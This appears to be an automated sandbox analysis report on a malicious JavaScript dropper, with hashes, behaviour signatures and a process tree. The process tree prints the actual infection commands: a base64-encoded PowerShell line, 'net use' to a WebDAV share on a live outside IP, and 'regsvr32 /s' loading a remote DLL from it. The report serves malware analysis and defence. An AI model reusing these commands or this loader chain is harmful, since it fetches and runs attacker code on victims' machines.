Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-11-2024 10:46

General

  • Target

    7858290454868466.js

  • Size

    657KB

  • MD5

    be15ae9aeaea57daad4f5add8f34e761

  • SHA1

    2bb89396ca958fd150739deda653efa0a649dd87

  • SHA256

    e4a50bc6e27700e1db6abebd5ed70c30d50494afa15fffad3c7501d59c9f652d

  • SHA512

    e6de08b3b30e9a9d87bc210e87aa4ed37954770332f134d9fa35a496202596642acf3d4c5667605b6eaf941306f800c5622c9475c4aa60d4af22b1fad421dc29

  • SSDEEP

    6144:gTJeZYu1ddZ+Yih114+NAn1XlIcsnQw/KvZJ6+j/mQEyJ6+j/mb03pX5:PKPNArAfi1

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\7858290454868466.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA7AHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADcANAAxADQAMwAwADIAMwA5ADkAMAA5ADQALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4716
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\94.159.113.79@8888\davwwwroot\
        3⤵
          PID:3616
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\94.159.113.79@8888\davwwwroot\17414302399094.dll
          3⤵
            PID:1360

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iarqmhpd.npi.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4716-0-0x00007FFB82543000-0x00007FFB82545000-memory.dmp

        Filesize

        8KB

      • memory/4716-1-0x0000027CFF3B0000-0x0000027CFF3D2000-memory.dmp

        Filesize

        136KB

      • memory/4716-11-0x00007FFB82540000-0x00007FFB83001000-memory.dmp

        Filesize

        10.8MB

      • memory/4716-14-0x00007FFB82540000-0x00007FFB83001000-memory.dmp

        Filesize

        10.8MB

      • memory/4716-15-0x00007FFB82540000-0x00007FFB83001000-memory.dmp

        Filesize

        10.8MB